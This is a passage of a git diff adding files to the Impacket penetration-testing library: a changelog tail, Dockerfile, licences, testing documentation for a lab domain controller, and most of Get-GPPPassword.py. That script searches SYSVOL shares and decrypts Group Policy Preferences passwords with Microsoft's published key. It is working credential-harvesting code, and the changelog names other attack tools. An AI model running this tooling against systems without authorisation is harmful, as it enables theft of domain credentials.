`AES128_CTS_HMAC_SHA1_96` and `AES256_CTS_HMAC_SHA1_96` ciphers. + * Support for `RPC_C_AUTHN_LEVEL_PKT_PRIVACY`/`RPC_C_AUTHN_LEVEL_PKT_INTEGRITY`. + * `[MS-SAMR]`: Supplemental Credentials support (used by secretsdump.py) + * SMBSERVER improvements: + * SMB2 (2.002) dialect experimental support. + * Adding capability to export to John The Ripper format files + * Library logging overhaul. Now there's a single logger called `impacket`. + +2. Examples improvements + * Added Kerberos support to all modules (incl. pass-the-ticket/key) + * Ported most of the modules to the new dcerpc.v5 runtime. + * `secretsdump.py`: + * Added dumping Kerberos keys when parsing NTDS.DIT + * `smbserver.py`: + * Support for SMB2 (not enabled by default) + * `smbrelayx.py`: + * Added support for MS15-027 exploitation. + +3. New examples + * `goldenPac.py`: MS14-068 exploit. Saves the golden ticket and also launches a + psexec session at the target. + * `karmaSMB.py`: SMB Server that answers specific file contents regardless of + the SMB share and pathname requested. + * `wmipersist.py`: Creates persistence over WMI. Adds/Removes WMI Event + Consumers/Filters to execute VBS based on a WQL filter or timer specified. + + +## Impacket v0.9.12 (July 2014): + +1. Library improvements + * The following protocols were added based on its standard definition + * `[MS-DCOM]` - Distributed Component Object module Protocol (`dcom.py`) + * `[MS-OAUT]` - OLE Automation Protocol (`dcom/oaut.py`) + * `[MS-WMI]`/`[MS-WMIO]` : Windows Management Instrumentation Remote Protocol (`dcom/wmi.py`) + +2. New examples + * `wmiquery.py`: executes WMI queries and get WMI object's descriptions. + * `wmiexec.py`: agent-less, semi-interactive shell using WMI. + * `smbserver.py`: quick an easy way to share files using the SMB protocol. + + +## Impacket v0.9.11 (February 2014): + +1. Library improvements + * New RPC and NDR runtime (located at `impacket.dcerpc.v5`, old one still available) + * Support marshaling/unmarshaling for NDR20 and NDR64 (experimental) + * Support for `RPC_C_AUTHN_NETLOGON` (experimental) + * The following interface were developed based on its standard definition: + * `[MS-LSAD]` - Local Security Authority (Domain Policy) Remote Protocol (lsad.py) + * `[MS-LSAT]` - Local Security Authority (Translation Methods) Remote Protocol (lsat.py) + * `[MS-NRPC]` - Netlogon Remote Protocol (nrpc.py) + * `[MS-RRP]` - Windows Remote Registry Protocol (rrp.py) + * `[MS-SAMR]` - Security Account Manager (SAM) Remote Protocol (samr.py) + * `[MS-SCMR]` - Service Control Manager Remote Protocol (scmr.py) + * `[MS-SRVS]` - Server Service Remote Protocol (srvs.py) + * `[MS-WKST]` - Workstation Service Remote Protocol (wkst.py) + * `[MS-RPCE]-C706` - Remote Procedure Call Protocol Extensions (epm.py) + * `[MS-DTYP]` - Windows Data Types (dtypes.py) + * Most of the DCE Calls have helper functions for easier use. Test cases added for + all calls (check the test cases directory) + * ESE parser (Extensive Storage Engine) (ese.py) + * Windows Registry parser (winregistry.py) + * TDS protocol now supports SSL, can be used from mssqlclient + * Support for EAPOL, EAP and WPS decoders + * VLAN tagging (IEEE 802.1Q and 802.1ad) support for ImpactPacket, done by dan.pisi + +2. New examples + * `rdp_check.py`: tests whether an account (pwd or hashes) is valid against an RDP server + * `esentutl.py`: ESE example to show how to interact with ESE databases (e.g. NTDS.dit) + * `ntfs-read.py`: mini shell for browsing an NTFS volume + * `registry-read.py`: Windows offline registry reader + * `secretsdump.py`: agent-less remote windows secrets dump (SAM, LSA, CDC, NTDS) + + +## Impacket v0.9.10 (March 2013): + +1. Library improvements + * SMB version 2 and 3 protocol support (`[MS-SMB2]`). Signing supported, encryption for + SMB3 still pending. + * Added a SMBConnection layer on top of each SMB specific protocol. Much simpler and + SMB version independent. It will pick the best SMB Version when connecting against the + target. Check `smbconnection.py` for a list of available methods across all the protocols. + * Partial TDS implementation (`[MS-TDS]` & `[MC-SQLR]`) so we could talk with MSSQL Servers. + * Unicode support for the smbserver. Newer OSX won't connect to a non unicode SMB Server. + * DCERPC Endpoints' new calls + * EPM: `lookup()`: It can work as a general portmapper, or just to find specific interfaces/objects. + +2. New examples + * `mssqlclient.py`: A MS SQL client, allowing to do MS SQL or Windows Authentication (accepts hashes) and then gives + you an SQL prompt for your pleasure. + * `mssqlinstance.py`: Lists the MS SQL instances running on a target machine. + * `rpcdump.py`: Output changed. Hopefully more useful. Parsed all the Windows Protocol Specification looking for the + UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to + develop new functionality to interact against a target interface. + * `smbexec.py`: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the + technique described at https://www.optiv.com/blog/owning-computers-without-shell-access. It also + supports instantiating a local smbserver to receive the output of the commandos executed for those situations + where no share is available on the other end. + * `smbrelayx.py`: It now also listens on port 80 and forwards/reflects the credentials accordingly. + +And finally tons of fixes :). + + +## Impacket v0.9.9 (July 2012): + +1. Library improvements + * Added 802.11 packets encoding/decoding + * Addition of support for IP6, ICMP6 and NDP packets. Addition of `IP6_Address` helper class. + * SMB/DCERPC: + * GSS-API/SPNEGO Support. + * SPN support in auth blob. + * NTLM2 and NTLMv2 support. + * Default SMB port now 445. If `*SMBSERVER` is specified the library will try to resolve the netbios name. + * Pass the hash supported for SMB/DCE-RPC. + * IPv6 support for SMB/NMB/DCERPC. + * DOMAIN support for authentication. + * SMB signing support when server enforces it. + * DCERPC signing/sealing for all NTLM flavours. + * DCERPC transport now accepts an already established SMB connection. + * Basic SMBServer implementation in Python. It allows third-party DCE-RPC servers to handle DCERPC Request (by + forwarding named pipes requests). + * Minimalistic SRVSVC dcerpc server to be used by SMBServer in order to avoid Windows 7 nasty bug when that pipe's + not functional. + * DCERPC Endpoints' new calls: + * `SRVSVC`: `NetrShareEnum(Level1)`, `NetrShareGetInfo(Level2)`, `NetrServerGetInfo(Level2)`, + `NetrRemoteTOD()`, `NetprNameCanonicalize()`. + * `SVCCTL`: `CloseServiceHandle()`, `OpenSCManagerW()`, `CreateServiceW()`, `StartServiceW()`, + `OpenServiceW()`, `OpenServiceA()`, `StopService()`, `DeleteService()`, `EnumServicesStatusW()`, + `QueryServiceStatus()`, `QueryServiceConfigW()`. + * `WKSSVC`: `NetrWkstaTransportEnum()`. + * `SAMR`: `OpenAlias()`, `GetMembersInAlias()`. + * `LSARPC`: `LsarOpenPolicy2()`, `LsarLookupSids()`, `LsarClose()`. + +2. New examples + * `ifmap.py`: First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list + of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is + listed and/or listening. + * `lookupsid.py`: DCE/RPC lookup sid brute forcer example. + * `opdump.py`: This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first + 256 operation numbers in turn and reports the outcome of each call. + * `services.py`: SVCCTL services common functions for manipulating services (START/STOP/DELETE/STATUS/CONFIG/LIST). + * `test_wkssvc`: DCE/RPC WKSSVC examples, playing with the functions Implemented. + * `smbrelayx`: Passes credentials to a third party server when doing MiTM. + * `smbserver`: Multiprocess/threading smbserver supporting common file server functions. Authentication all done but + not enforced. Tested under Windows, Linux and MacOS clients. + * `smbclient.py`: now supports history, new commands also added. + * `psexec.py`: Execute remote commands on Windows machines diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..ca43f09 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,13 @@ +FROM python:3.8-alpine as compile +WORKDIR /opt +RUN apk add --no-cache git gcc musl-dev python3-dev libffi-dev openssl-dev cargo +RUN python3 -m pip install virtualenv +RUN virtualenv -p python venv +ENV PATH="/opt/venv/bin:$PATH" +RUN git clone --depth 1 https://github.com/SecureAuthCorp/impacket.git +RUN python3 -m pip install impacket/ + +FROM python:3.8-alpine +COPY --from=compile /opt/venv /opt/venv +ENV PATH="/opt/venv/bin:$PATH" +ENTRYPOINT ["/bin/sh"] \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..50adaff --- /dev/null +++ b/LICENSE @@ -0,0 +1,189 @@ +Licencing +--------- + +We provide this software under a slightly modified version of the +Apache Software License. The only changes to the document were the +replacement of "Apache" with "Impacket" and "Apache Software Foundation" +with "SecureAuth Corporation". Feel free to compare the resulting +document to the official Apache license. + +The `Apache Software License' is an Open Source Initiative Approved +License. + + +The Apache Software License, Version 1.1 +Modifications by SecureAuth Corporation (see above) + +Copyright (c) 2000 The Apache Software Foundation. All rights +reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + +3. The end-user documentation included with the redistribution, + if any, must include the following acknowledgment: + "This product includes software developed by + SecureAuth Corporation (https://www.secureauth.com/)." + Alternately, this acknowledgment may appear in the software itself, + if and wherever such third-party acknowledgments normally appear. + +4. The names "Impacket", "SecureAuth Corporation" must + not be used to endorse or promote products derived from this + software without prior written permission. For written + permission, please contact oss@secureauth.com. + +5. Products derived from this software may not be called "Impacket", + nor may "Impacket" appear in their name, without prior written + permission of SecureAuth Corporation. + +THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED +WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR +ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF +USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT +OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + + + +impacket/smb.py and impacket/nmb.py are based on Pysmb by Michael Teo +(https://miketeo.net/projects/pysmb/), and are distributed under the +following license: + +This software is provided 'as-is', without any express or implied +warranty. In no event will the author be held liable for any damages +arising from the use of this software. + +Permission is granted to anyone to use this software for any purpose, +including commercial applications, and to alter it and redistribute it +freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must + not claim that you wrote the original software. If you use this + software in a product, an acknowledgment in the product + documentation would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and must + not be misrepresented as being the original software. + +3. This notice cannot be removed or altered from any source + distribution. + + +examples/kintercept.py by Isaac Boukris (https://github.com/iboukris/S4U/) +is distributed under the following license: + +Copyright (c) 2019 Isaac Boukris + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + + +impacket/examples/recomsvc.py is based on recomsvc by Talha Tariq +and is distributed under the following license: + +Copyright (c) 2006 Talha Tariq [ talha.tariq@gmail.com ] +All rights are reserved. + +Permission to use, copy, modify, and distribute this software +for any purpose and without any fee is hereby granted, +provided this notice is included in its entirety in the +documentation and in the source files. + +This software and any related documentation is provided "as is" +without any warranty of any kind, either express or implied, +including, without limitation, the implied warranties of +merchantability or fitness for a particular purpose. The entire +risk arising out of use or performance of the software remains +with you. + + +impacket/krb5/asn1.py and impacket/krb5/types.py by Marc Horowitz +are distributed under the following license: + +Copyright (c) 2013, Marc Horowitz +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +Redistributions of source code must retain the above copyright notice, +this list of conditions and the following disclaimer. + +Redistributions in binary form must reproduce the above copyright +notice, this list of conditions and the following disclaimer in the +documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + +impacket/krb5/crypto.py by the Massachusetts Institute of Technology is +distributed under the following license: + +Copyright (C) 2013 by the Massachusetts Institute of Technology. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + +* Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS +FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED +OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/MANIFEST.in b/MANIFEST.in new file mode 100644 index 0000000..38b5984 --- /dev/null +++ b/MANIFEST.in @@ -0,0 +1,12 @@ +include MANIFEST.in +include LICENSE +include ChangeLog.md +include README.md +include SECURITY.md +include TESTING.md + +include requirements.txt + +include tox.ini +recursive-include examples tests *.txt *.py +recursive-include tests * diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..d231454 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,7 @@ +Security Policy +=============== + +Although this initiative is not meant to be used in productive environments, +if you consider that you have identified an issue that might affect the +security of its users, or you understand that the tool is being abused, +you can contact us at oss-security@secureauth.com. diff --git a/TESTING.md b/TESTING.md new file mode 100644 index 0000000..d1b3f25 --- /dev/null +++ b/TESTING.md @@ -0,0 +1,259 @@ +Testing +======= + +The library leverages the [pytest](https://docs.pytest.org/) framework for organizing +and marking test cases, [tox](https://tox.readthedocs.io/) to automate the process of +running them across supported Python versions, and [coverage](https://coverage.readthedocs.io/) +to obtain coverage statistics. + + +Test environment setup +---------------------- + +Some test cases are "local", meaning that don't require a target environment and can +be run off-line, while the bulk of the test cases are "remote" and requires some +prior setup. + +If you want to run the full set of library test cases, you need to prepare your +environment by completing the following steps: + +1. Install testing requirements. You can use the following command to do so: + + python3 -m pip install tox -r requirements-test.txt + +1. [Install and configure a target Active Directory Domain Controller](#active-directory-setup-and-configuration). + +1. [Configure remote test cases](#configure-remote-test-cases). + + +> **Important note** +> +> Bear in mind that some remote tests are not idempotent, that means that they perform +> changes on the target environment and the results of the tests depends on that. As an +> example, some tests require the creation/modification/deletion of user accounts. If those +> tests fail at some point during the process, user accounts might lay down there and +> subsequent tests might fail when trying to create the user account. We recommend taking +> snapshots of the target environment that can be then rolled back after a testing session. + +Running tests +------------- + +Once that's done, you would be able to run the test suite with `pytest`. For example, +you can run all "local" test cases using the following command: + + $ pytest -m "not remote" + +Or run the "remote" test cases with the following command: + + $ pytest -m "remote" + +If all goes well, all test cases should pass. + +You can also leverage `pytest` [markers](https://docs.pytest.org/en/4.6.x/example/markers.html) +or [keyword expressions](https://docs.pytest.org/en/4.6.x/usage.html#select-tests) +to select which test case you want to run. Although we recommend using `pytest`, it's also possible to run individual test +case modules via `unittest.main` method. For example, to only run `ldap` test cases, +you can execute: + + $ pytest -k "ldap" + + +Automating runs +--------------- + +If you want to run the test cases in a new fresh environment, or run those across +different Python versions, you can use `tox`. You can specify the group of test cases +you want to run, which would be passed to `pytest`. As an example, the following +command will run all "local" test cases across all the Python versions defined in +the `tox` configuration: + + $ tox -- -m "not remote" + +Coverage +-------- + +If you want to measure coverage in your test cases run, you can use it via the +`pytest-cov` plugin, for example by running the following command: + + $ pytest --cov --cov-config=tox.ini + +`tox` will collect and report coverage statistics as well, and combine it across +different Python version environment runs. You will have a coverage HTML report +located at the default `Coverage`'s location `htlmcov/index.html`. + + +Configuration +------------- + +Configuration of all `pytest`, `coverage` and `tox` is contained in the +[tox.ini](tox.ini) file. Refer to each tool documentation for further details +about the different settings. + + +Active Directory Setup and Configuration +---------------------------------------- + +In order to run remote test cases, a target Active Directory need to be properly +configured with the expected objects. Current remote test cases are expected to +work against a Windows Server 2012 R2 Domain Controller. The following are the +main steps required: + +1. Make sure to disable the firewall on the interface you want to use for connecting + to the Domain Controller. + + PS C:\> Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False + +1. Install the Active Directory Domain Services on the target server. + + PS C:\> Install-WindowsFeature -name AD-Domain-Services -IncludeManagementTools + +1. Make sure the server's Administrator user password meet the complexity policy, as it's required + for promoting it to Domain Controller. + + PS C:\> $AdminPassword = "" + PS C:\> $Admin=[adsi]("WinNT://$env:COMPUTERNAME/Administrator, user") + PS C:\> $Admin.psbase.invoke("setpassword", $AdminPassword) + +1. Promote the installed Windows Server 2012 R2 to a Domain Controller, and configure + a domain of your choice. + + PS C:\> $DomainName = "" + PS C:\> $NetBIOSName = "" + PS C:\> $RecoveryPassword = "" + PS C:\> $SecureRecoveryPassword = ConvertTo-SecureString $RecoveryPassword -AsPlainText -Force + PS C:\> Install-ADDSForest -DomainName $DomainName -InstallDns -SafeModeAdministratorPassword $SecureRecoveryPassword -DomainNetbiosName $NetBIOSName -SkipPreChecks + +1. Install DHCP services on the target Domain Controller. + + PS C:\> Install-WindowsFeature -name DHCP -IncludeManagementTools + +1. Create the DHCP administration groups and authorize the server. + + PS C:\> netsh dhcp add securitygroups + PS C:\> Restart-Service dhcpserver + PS C:\> Add-DhcpServerInDC -DnsName -IPAddress + PS C:\> $Credential = Get-Credential + PS C:\> Set-DhcpServerDnsCredential -Credential $Credential -ComputerName + +1. Be sure to enable and run the `RemoteRegistry` service on the target Domain + Controller. + + PS C:\> Start-Service RemoteRegistry + +1. Create a Domain User with administrative rights. This is the user that will be used + to run the remote tests. We make sure to enable AES Kerberos encryption type and add + it to the Domain Admins group. + + PS C:\> $AdminUserName = "" + PS C:\> $AdminAccountName = "" + PS C:\> $AdminUserPassword = "" + PS C:\> $SecureAdminUserPassword = ConvertTo-SecureString $AdminUserPassword -AsPlainText -Force + PS C:\> New-ADUser -Name $AdminUserName -SamAccountName $AdminAccountName -UserPrincipalName $AdminAccountName@$DomainName -AccountPassword $SecureAdminUserPassword -Enabled $true -ChangePasswordAtLogon $false -KerberosEncryptionType RC4,AES128,AES256 + PS C:\> Add-ADGroupMember -Identity "Domain Admins" -Members + + +### LDAPS (LDAP over SSL/TLS) configuration + +For running LDAPS (LDAP over SSL/TLS) test cases, make sure you have a certificate +installed and configured on the target Domain Controller. You can follow +Microsoft's [guidelines to configure LDAPS](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority). + +You can use self-signed certificates by: + + 1. Create a CA private key and certificate: + + $ openssl genrsa -aes256 -out ca_private.key 4096 + $ openssl req -new -x509 -days 3650 -key ca_private.key -out ca_public.crt + + 1. Copying and importing the CA public certificate into the Domain + Controller server: + + PS C:\> Import-Certificate -FilePath ca_public.crt -CertStoreLocation 'Cert:\LocalMachine\Root' -Verbose + + 1. Creating a certificate request for the LDAP service, by editing the following + configuration file: + + ;----------------- request.inf ----------------- + [Version] + Signature="$Windows NT$ + + [NewRequest] + Subject = "CN=" ; replace with the FQDN of the DC + KeySpec = 1 + KeyLength = 1024 + Exportable = TRUE + MachineKeySet = TRUE + SMIME = False + PrivateKeyArchive = FALSE + UserProtected = FALSE + UseExistingKeySet = FALSE + ProviderName = "Microsoft RSA SChannel Cryptographic Provider" + ProviderType = 12 + RequestType = PKCS10 + KeyUsage = 0xa0 + + [EnhancedKeyUsageExtension] + OID=1.3.6.1.5.5.7.3.1 ; this is for Server Authentication + ;----------------------------------------------- + + And then running the following command: + + PS C:\> certreq -new request.inf ldapcert.csr + + 1. Signing the LDAP service certificate with the CA, by creating the + `v3ext.txt` configuration file: + + keyUsage=digitalSignature,keyEncipherment + extendedKeyUsage=serverAuth + subjectKeyIdentifier=hash + + And running the following command: + + $ openssl x509 -req -days 365 -in ldapcert.csr -CA ca_public.crt -CAkey ca_private.key -extfile v3ext.txt -set_serial 01 -out ldapcert.crt + + 1. Copying and installing the new signed LDAP service certificate into + the Domain Controller server: + + PS C:\> certreq -accept ldapcert.crt + + 1. Finally, restarting the Domain Controller. + + +### Mimilib configuration + +[Mimilib](https://github.com/gentilkiwi/mimikatz/tree/master/mimilib) test +cases require the service to be installed on the target Domain Controller. You can +do that by running Mimikatz with an elevated user and executing: + + mimikatz # rpc::server + + +Configure Remote Test Cases +--------------------------- + +Create a copy of the [dcetest.cfg.template](tests/dcetests.cfg.template) file and +configure it with the necessary information associated to the Active Directory you +configured. Path to the configuration file to use when running tests can be then +specified in the following ways: + + * Using the pytest `--remote-config` command-line option. + * Using the pytest `remote-config` option in `tox.ini`. + * Using the `REMOTE_CONFIG` environment variable. + * Default to loading from `tests/dcetests.cg`. + +For example, you can keep configuration of different environments in +separate files, and specify which one you want the test to run against: + + $ pytest --remote-config=tests/dcetests-win2016.cfg + $ pytest --remote-config=tests/dcetests-win2019.cfg + +Make sure you set a user with proper administrative privileges on the +target Active Directory domain and that the user hashes and keys match with those +in the environment. Hashes and Kerberos keys can be grabbed from the target Domain +Controller using [secretsdump.py](examples/secretsdump.py) example script. + +Make sure also to have full network visibility into the target hosts and be able to +resolve DNS queries for the Active Directory Domain configured. If you don't want to +change your test machine's DNS settings to point to the AD DNS server, you can +configure your system to statically resolve (e.g. via `/etc/hosts` file) the host +and domain FQDN to the server's IP address. diff --git a/examples/Get-GPPPassword.py b/examples/Get-GPPPassword.py new file mode 100644 index 0000000..828762b --- /dev/null +++ b/examples/Get-GPPPassword.py @@ -0,0 +1,297 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Python script for extracting and decrypting Group Policy Preferences passwords, +# using Impacket's lib, and using streams for carving files instead of mounting shares +# +# Authors: +# Remi Gascou (@podalirius_) +# Charlie Bromberg (@_nwodtuhs) +# + +import argparse +import base64 +import logging +import os +import re +import sys +import traceback + +from xml.dom import minidom +from io import BytesIO + +from Cryptodome.Cipher import AES +from Cryptodome.Util.Padding import unpad + +import charset_normalizer as chardet + +from impacket import version +from impacket.examples import logger, utils +from impacket.smbconnection import SMBConnection, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SessionError + + +class GetGPPasswords(object): + """docstring for GetGPPasswords.""" + + def __init__(self, smb, share): + super(GetGPPasswords, self).__init__() + self.smb = smb + self.share = share + + def list_shares(self): + logging.info("Listing shares...") + resp = self.smb.listShares() + shares = [] + for k in range(len(resp)): + shares.append(resp[k]['shi1_netname'][:-1]) + print(' - %s' % resp[k]['shi1_netname'][:-1]) + print() + + def find_cpasswords(self, base_dir, extension='xml'): + logging.info("Searching *.%s files..." % extension) + # Breadth-first search algorithm to recursively find .extension files + files = [] + searchdirs = [base_dir + '/'] + while len(searchdirs) != 0: + next_dirs = [] + for sdir in searchdirs: + logging.debug('Searching in %s ' % sdir) + try: + for sharedfile in self.smb.listPath(self.share, sdir + '*', password=None): + if sharedfile.get_longname() not in ['.', '..']: + if sharedfile.is_directory(): + logging.debug('Found directory %s/' % sharedfile.get_longname()) + next_dirs.append(sdir + sharedfile.get_longname() + '/') + else: + if sharedfile.get_longname().endswith('.' + extension): + logging.debug('Found matching file %s' % (sdir + sharedfile.get_longname())) + results = self.parse(sdir + sharedfile.get_longname()) + if len(results) != 0: + self.show(results) + files.append({"filename": sdir + sharedfile.get_longname(), "results": results}) + else: + logging.debug('Found file %s' % sharedfile.get_longname()) + except SessionError as e: + logging.debug(e) + searchdirs = next_dirs + logging.debug('Next iteration with %d folders.' % len(next_dirs)) + return files + + def parse_xmlfile_content(self, filename, filecontent): + results = [] + try: + root = minidom.parseString(filecontent) + properties_list = root.getElementsByTagName("Properties") + # function to get attribute if it exists, returns "" if empty + read_or_empty = lambda element, attribute: ( + element.getAttribute(attribute) if element.getAttribute(attribute) != None else "") + for properties in properties_list: + results.append({ + 'newname': read_or_empty(properties, 'newName'), + 'changed': read_or_empty(properties.parentNode, 'changed'), + 'cpassword': read_or_empty(properties, 'cpassword'), + 'password': self.decrypt_password(read_or_empty(properties, 'cpassword')), + 'username': read_or_empty(properties, 'userName'), + 'file': filename + }) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.debug(str(e)) + return results + + def parse(self, filename): + results = [] + filename = filename.replace('/', '\\') + fh = BytesIO() + try: + # opening the files in streams instead of mounting shares allows for running the script from + # unprivileged containers + self.smb.getFile(self.share, filename, fh.write) + except SessionError as e: + logging.error(e) + return results + except Exception as e: + raise + output = fh.getvalue() + encoding = chardet.detect(output)["encoding"] + if encoding != None: + filecontent = output.decode(encoding).rstrip() + if 'cpassword' in filecontent: + logging.debug(filecontent) + results = self.parse_xmlfile_content(filename, filecontent) + fh.close() + else: + logging.debug("No cpassword was found in %s" % filename) + else: + logging.debug("Output cannot be correctly decoded, are you sure the text is readable ?") + fh.close() + return results + + def decrypt_password(self, pw_enc_b64): + if len(pw_enc_b64) != 0: + # thank you MS for publishing the key :) (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be) + key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20' \ + b'\x9b\x09\xa4\x33\xb6\x6c\x1b' + # thank you MS for using a fixed IV :) + iv = b'\x00' * 16 + pad = len(pw_enc_b64) % 4 + if pad == 1: + pw_enc_b64 = pw_enc_b64[:-1] + elif pad == 2 or pad == 3: + pw_enc_b64 += '=' * (4 - pad) + pw_enc = base64.b64decode(pw_enc_b64) + ctx = AES.new(key, AES.MODE_CBC, iv) + pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size) + return pw_dec.decode('utf-16-le') + else: + logging.debug("cpassword is empty, cannot decrypt anything") + return "" + + def show(self, results): + for result in results: + logging.info("NewName\t: %s" % result['newname']) + logging.info("Changed\t: %s" % result['changed']) + logging.info("Username\t: %s" % result['username']) + logging.info("Password\t: %s" % result['password']) + logging.info("File\t: %s \n" % result['file']) + + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, + description='Group Policy Preferences passwords finder and decryptor') + parser.add_argument('target', action='store', help='[[domain/]username[:password]@] or LOCAL' + ' (if you want to parse local files)') + parser.add_argument("-xmlfile", type=str, required=False, default=None, help="Group Policy Preferences XML files to parse") + parser.add_argument("-share", type=str, required=False, default="SYSVOL", help="SMB Share") + parser.add_argument("-base-dir", type=str, required=False, default="/", help="Directory to search in (Default: /)") + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = 